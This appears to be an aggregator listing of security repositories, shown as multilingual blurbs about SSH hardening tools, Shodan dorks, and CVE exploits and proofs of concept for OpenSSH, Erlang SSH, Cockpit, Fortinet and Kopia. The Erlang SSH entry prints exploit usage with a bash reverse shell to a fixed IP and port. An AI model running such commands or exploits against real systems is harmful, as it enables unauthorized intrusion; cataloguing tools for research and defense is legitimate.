shodan

Shodan Dorks by twitter.com/lothos612 Feel free to make suggestions Shodan Dorks Basic Shodan Filters city: Find devices in a particular city. city:"Bangalore" country: Find devices in a particular country. country:"IN" geo: Find devices by giving geographical coordinates...

Exploiting-a-vulnerability-using-reverse-shell

सूचना सुरक्षा मूलभूत — स्प्रिंग 2026 परियोजना कुल अंक: 20 | समय सीमा: कोई देर से प्रस्तुतिकरण स्वीकार नहीं किया जाएगा अवलोकन यह परियोजना दो वर्चुअल मशीनों पर एक वास्तविक-विश्व हमला-और-बचाव परिदृश्य का अनुकरण करती है। आप Erlang/OTP SSH सर्वर में एक महत्वपूर्ण प्री-ऑथेंटिकेशन RCE भेद्यता...

NetworkAssessment

NetworkAssessment: Network Compromise Assessment Tool The Network Compromise Assessment Tool is designed to analyze pcap files to detect potential suspicious network traffic. This tool focuses on spotting abnormal activities in the network traffic and searching for suspicious keywords. Features D...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 وصف الأداة أداة استغلال سريعة لـ CVE-2022-40684، كود للمبتدئين، في حال وجود مشاكل يُرجى فتح issue طريقة الاستخدام main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub إخلاء مسؤولية هذه الأداة مخصصة فقط لأنشطة أمن المؤسسات المصرح بها قانونًا، مثل التدريبات الهجومية...

chef-ssh-hardening

ssh-hardening cookbook Chef Description Ce cookbook fournit des configurations sécurisées pour ssh-client et ssh-server. Ce cookbook ne fournit pas de fonctionnalités de gestion des utilisateurs et/ou des clés ssh, veuillez utiliser d'autres cookbooks pour cela. Exigences Chef = 14.13.11...

puppet-ssh-hardening

تحصين SSH عبر Puppet الوصف توفر وحدة Puppet هذه إعدادات آمنة لكل من عميل وخادم SSH. المتطلبات Puppet وحدات Puppet: saz/ssh = 2.3.6, puppetlabs/stdlib = 4.2.0 المعاملات ipv6enabled = false - true إذا كان IPv6 مطلوبًا cbcrequired = false - true إذا كانت خوارزمية CBC مطلوبة للتشفير. عادةً ما يكون...

kube-alien

Kube-alien Cet outil lance une attaque sur un cluster k8s depuis l'intérieur. Cela signifie que vous devez déjà avoir un accès avec les autorisations nécessaires pour déployer des pods dans un cluster afin de l'exécuter. Après avoir exécuté le pod kube-alien, il tente de prendre le contrôle des...

totp-ssh-fluxer

TOTP SSH تغيير المنفذ يقوم بعض الأشخاص بتغيير منفذ SSH على خوادمهم لجعله أصعب قليلاً في العثور عليه من قبل البوتات أو غيرها من الأشياء السيئة، ورغم أن هذا يُنظر إليه عمومًا على أنه إجراء من الأمان من خلال الغموض، إلا أنه يعمل بشكل جيد جدًا في القضاء على الكثير من عمليات تسجيل الدخول الآلية التي...

Cockpit Web Console < 360 - Remote Code Execution

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH...

Kopia Server 0.23.0 - Remote Code Execution

Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument...

CVE-2026-21994

CVE-2026-21994 Résumé La version 0.3.0 d'Oracle OKIT oci-designer-toolkit contient deux erreurs de configuration critiques qui s'enchaînent en une prise de contrôle totale non authentifiée. Une SECRETKEY Flask codée en dur, exposée dans le dépôt public, permet à tout attaquant de forger un cookie...

ssh-audit

ssh-audit...

CVE-2023-38408

Référence / informations https://www.qualys.com/2023/07/19/cve-2023-38408/rce-openssh-forwarded-ssh-agent.txt...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — تحليل الكود Cockpit: تنفيذ كود عن بُعد غير مصادق عليه عبر حقن وسائط سطر أوامر SSH...

CVE-2026-1459-POC

CVE-2026-1459-POC POC لثغرة CVE-2026-1459 والتي يغيّر فيها الحمولة كلمة مرور SSH الخاصة بالمستخدم الجذر. يتطلب صلاحيات إدارية صالحة، يغيّر كلمة مرور الجذر مؤقتًا، وإعادة التشغيل ستعيد تعيين كلمة مرور الجذر. يعمل على أجهزة VMG3625-T50B وما يشابهها، وهو مضمون للعمل على البرنامج الثابت V5.50ABPM.9.7...

wotop

प्रोटोकॉल के ऊपर वेब WOTOP root@kitploit: ██╗ ██╗ ██████╗ ████████╗ ██████╗ ██████╗ ██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗██╔══██╗ ██║ █╗ ██║██║ ██║ ██║ ██║ ██║██████╔╝ ██║███╗██║██║ ██║ ██║ ██║ ██║██╔═══╝ ╚███╔███╔╝╚██████╔╝ ██║ ╚██████╔╝██║ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ परिचय WOTOP एक उपकरण है ज...

debian-ssh

ديبيان OpenSSL مولد الأعداد العشوائية المتوقع PRNG الروابط الرابط الأصلي: http://metasploit.com/users/hdm/tools/debian-openssl/ مرآة الاستغلال: https://www.exploit-db.com/exploits/5622/ بيرل https://www.exploit-db.com/exploits/5720/ بايثون https://www.exploit-db.com/exploits/5632/ روبي الأداة...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2024-6387

root@kitploit: EXPLOIT CVE-2024-6387 💥 EXPLOIT CVE-2024-6387 regreSSHion Tool for analysis, detection and controlled testing of the CVE-2024-6387 vulnerability in OpenSSH servers. ⚠️ Legal and Ethical Notice This repository is exclusively educational. Use it only on: Labs HTB, TryHackMe Personal...

CVE-Exploit-Research-Development

🔐 SSH Exploit Tool Educational Use Only 📌 Description This tool demonstrates exploitation of: CVE-2008-0166 CVE-2008-1657 It connects to vulnerable SSH services and provides: Persistent interactive shell Command execution logging Automatic PDF & DOCX report generation ⚙️ Features Persistent shell...